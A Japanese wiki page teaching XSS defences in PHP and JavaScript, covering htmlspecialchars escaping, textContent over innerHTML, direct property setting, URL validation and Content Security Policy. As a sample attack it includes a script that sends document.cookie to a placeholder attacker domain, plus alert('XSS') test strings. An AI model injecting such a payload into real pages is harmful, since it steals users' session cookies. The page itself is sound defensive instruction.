PHPの基礎 - XSS対策

提供:MochiuWiki : SUSE, EC, PCB
ナビゲーションに移動 検索に移動

概要

XSS (クロスサイトスクリプティング) 攻撃は、Webアプリケーションの脆弱性を利用して、悪意のあるスクリプトをユーザのWebブラウザで実行させる攻撃手法である。

主な攻撃タイプには、反射型XSS、格納型XSS、DOMベースXSSがある。

  • 反射型XSS
    ユーザの入力データがそのままレスポンスとして返される場合に発生する。
  • 格納型XSS
    悪意のあるスクリプトがデータベースに保存されて、他のユーザがページを閲覧した時に実行される。
  • DOMベースXSS
    クライアントサイドのJavaScriptによってDOMが動的に変更される時に発生する。


PHPでの対策として、htmlspecialchars関数を使用してHTML特殊文字をエスケープする。

 $safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');


その他の重要な対策として、Content Security Policy (CSP) の実装、HTTPOnly属性の設定、入力値の適切なバリデーション、出力時のエンコーディング、最新のPHPフレームワークの使用等が挙げられる。

実際の攻撃例として、以下に示すようなスクリプトが挿入される可能性がある。

これにより、ユーザのクッキー情報が攻撃者のサーバーに送信される可能性がある。
このような攻撃を防ぐために、適切なエスケープ処理と入力検証が不可欠である。

 <script>
 document.location='http://악성サイト.com/steal.php?cookie='+document.cookie;
 </script>



htmlspecialchars関数の使用

htmlspecialchars関数は、反射型XSS格納型XSSの防止に効果的である。
これらのXSS攻撃は、HTMLの出力時にスクリプトが実行される仕組みを利用するためである。

ただし、htmlspecialchars関数を使用する場合も、第2引数にENT_QUOTESを指定して、文字エンコーディングを明示的に指定することが必要である。
これにより、シングルクォートとダブルクォートの両方が適切にエスケープされる。

HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。
例えば、データベースに"<script>alert('攻撃')</script>"のような悪意のあるスクリプトが格納されている場合、
htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。

htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "<") されて、スクリプトが実行されなくなる。

ただし、以下のような場合には、htmlspecialchars関数は不要である。

  • JSONとして出力する場合 (json_encode関数の使用時)
  • データベースへの保存時
  • HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ)



DOMベースXSS対策

DOMベースXSSは、クライアントサイドのJavaScriptによってDOMを操作する場合に発生するため、サーバサイドのhtmlspecialchars関数だけでは完全な防止は困難である。

DOMベースXSSの対策には、クライアントサイドでの適切な入力検証やDOMの安全な操作方法の実装が必要となる。
例えば、innerHTMLの代わりにtextContentを使用する等の対策が必要となる。

DOMのプロパティとメソッドの安全な使用

innerHTMLの代わりに、textContentを使用してテキストを設定する

textContentはテキストをHTMLとして解釈せず、純粋なテキストとして扱うため、スクリプトタグや悪意のあるコードが実行されるリスクを排除できる。
これにより、DOMベースXSS攻撃からの保護が自動的に行われる。

※注意
HTMLマークアップが必要な場合は使用できない。
HTMLを意図的に挿入する必要がある場合は、DOMPurify等のサニタイザーライブラリの使用を検討する。

 // 危険な例 : innerHTMLの使用
 function unsafeSetContent(elementId, content) {
    const element = document.getElementById(elementId);
    element.innerHTML = content;  // 非推奨 : XSS攻撃の可能性あり
 }
 
 // 安全な例 : textContentの使用
 function safeSetContent(elementId, content) {
    const element = document.getElementById(elementId);
    element.textContent = content;  // 推奨 : HTMLタグとしてパースされない
 }
 
 // 実装例 1 : ユーザ入力の表示
 function displayUserInput(input) {
    const displayElement = document.getElementById('output');
    displayElement.textContent = input;
 }
 
 // 実装例 2 : 動的なリスト項目の追加
 function addListItem(text) {
    const li = document.createElement('li');
    li.textContent = text;  // 安全な方法でテキストを設定
    document.querySelector('ul').appendChild(li);
 }
 
 // 実装例 3 : エラーメッセージの表示
 function showError(errorMessage) {
    const errorElement = document.getElementById('error');
    errorElement.textContent = errorMessage;
    errorElement.classList.add('error');
 }
 
 // 実装例 4 : 複数要素の更新
 function updateMultipleElements(data) {
    // ユーザー名を安全に表示
    document.getElementById('username').textContent = data.username;
    // スコアを安全に表示
    document.getElementById('score').textContent = data.score;
    // ステータスを安全に表示
    document.getElementById('status').textContent = data.status;
 }
 
 // 実装例 5 : テンプレートとの組み合わせ
 function createUserCard(user) {
    const template = document.getElementById('user-card-template');
    const clone = template.content.cloneNode(true);
 
    // 各フィールドを安全に更新
    clone.querySelector('.user-name').textContent  = user.name;
    clone.querySelector('.user-email').textContent = user.email;
    clone.querySelector('.user-role').textContent  = user.role;
 
    return clone;
 }
 
 // 使用例
 const safeData = {
    username: "ユーザ1",
    message: "<script>alert('XSS')</script>"
 };
 
 // 安全な実装
 // 結果 : スクリプトタグがそのままテキストとして表示される
 safeSetContent('message', safeData.message);


setAttribute関数の代わりに、直接プロパティを設定する

直接プロパティを設定する場合は、Webブラウザの内部的なサニタイズ処理が使用できる。
特に、イベントハンドラの設定において、悪意のあるコードの実行を防ぐことができる。

また、プロパティは型チェックが行われるため、型の安全性が向上する。

使用シーンを以下に示す。

  • 標準的なHTML属性の設定 (id, class, src, href等)
  • フォーム要素のプロパティ設定 (value, disabled, required等)
  • スタイルプロパティの設定 (style.propertyName)
  • データ属性の設定 (dataset.propertyName)
  • ARIA属性の設定 (aria-*属性)


※注意が必要な属性

  • href属性
    URLのバリデーションを行った後に設定する。
  • src属性
    信頼できるソースからのURLのみを使用する。
  • onclick等のイベントハンドラ
    直接文字列を設定せず、addEventListenerメソッドを使用する。


 // 危険な例 : setAttributeの使用
 // 悪意のあるスクリプトが実行される可能性がある
 function unsafeSetAttribute(element, value) {
    element.setAttribute('onclick', value);  // 避けるべき
    element.setAttribute('href', value);     // 避けるべき
 }
 
 // 安全な例 - 直接プロパティ設定
 // プロパティに直接設定
 function safeSetProperties(element, value) {
    element.id = value;         // 推奨
    element.className = value;  // 推奨
    element.title = value;      // 推奨
 }
 
 // 実装例 1 : フォーム要素の操作
 // 安全な方法でプロパティを設定
 function updateFormElement(input, value) {
    input.disabled = value;     // disabled属性
    input.required = value;     // required属性
    input.value = value;        // value属性
    input.placeholder = value;  // placeholder属性
 }
 
 // 実装例 2 : イメージ要素の操作
 function updateImage(imgElement, data) {
    imgElement.src = data.url;        // src属性
    imgElement.alt = data.altText;    // alt属性
    imgElement.width = data.width;    // width属性
    imgElement.height = data.height;  // height属性
 }
 
 // 実装例 3 : アンカー要素の操作
 // URLのバリデーションを行ってから設定
 function updateLink(linkElement, data) {
    if (isValidUrl(data.url)) {
       linkElement.href = data.url;
    }
 
    linkElement.target = '_blank';  // target属性
    linkElement.rel = 'noopener';   // rel属性
 }
 
 // 実装例 4 : スタイルの操作
 // CSSプロパティを直接設定
 function updateStyles(element, styles) {
    element.style.backgroundColor = styles.bg;
    element.style.color = styles.color;
    element.style.fontSize = styles.size;
 }
 
 // 実装例 5 : データ属性の操作
 // data-*属性を安全に設定
 function updateDataAttributes(element, data) {
    element.dataset.id = data.id;
    element.dataset.name = data.name;
    element.dataset.value = data.value;
 }
 
 // 実装例 6 : ARIA属性の操作
 function updateAriaAttributes(element, state) {
    element.ariaLabel = state.label;
    element.ariaExpanded = state.expanded;
    element.ariaHidden = state.hidden;
 }
 
 // URLバリデーション用のヘルパー関数
 function isValidUrl(url) {
    try {
       new URL(url);
       return true;
    }
    catch {
       return false;
    }
 }
 
 // 使用例
 const element = document.getElementById('target');
 
 // 安全な実装
 element.className = 'safe-class';
 element.id = 'safe-id';
 
 const img = document.createElement('img');
 img.src = 'safe-url.jpg';
 img.alt = 'Safe image';
 
 // データ属性の安全な設定
 const dataElement = document.getElementById('data-element');
 dataElement.dataset.userInput = 'Safe data';


URLパラメータの処理

  • location.hashやlocation.searchからの値を使用する前に、encodeURIComponent関数でエンコードする。
  • URLSearchParams APIを使用して、URLパラメータを安全に解析する。


テンプレートリテラルの活用

 // JavaScriptファイル
 
 // 危険な実装
 element.innerHTML = `Welcome ${userInput}`;
 
 // 安全な実装
 element.textContent = `Welcome ${userInput}`;


イベントハンドラでの入力値の検証

 // JavaScriptファイル
 
 document.getElementById('userInput').addEventListener('input', function(e) {
    const input = e.target.value;
 
    if (!/^[a-zA-Z0-9]+$/.test(input)) {
       e.preventDefault();
       alert('特殊文字は使用できません');
    }
 });


Content Security Policy (CSP) の実装

 <!-- HTMLファイル -->
 
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">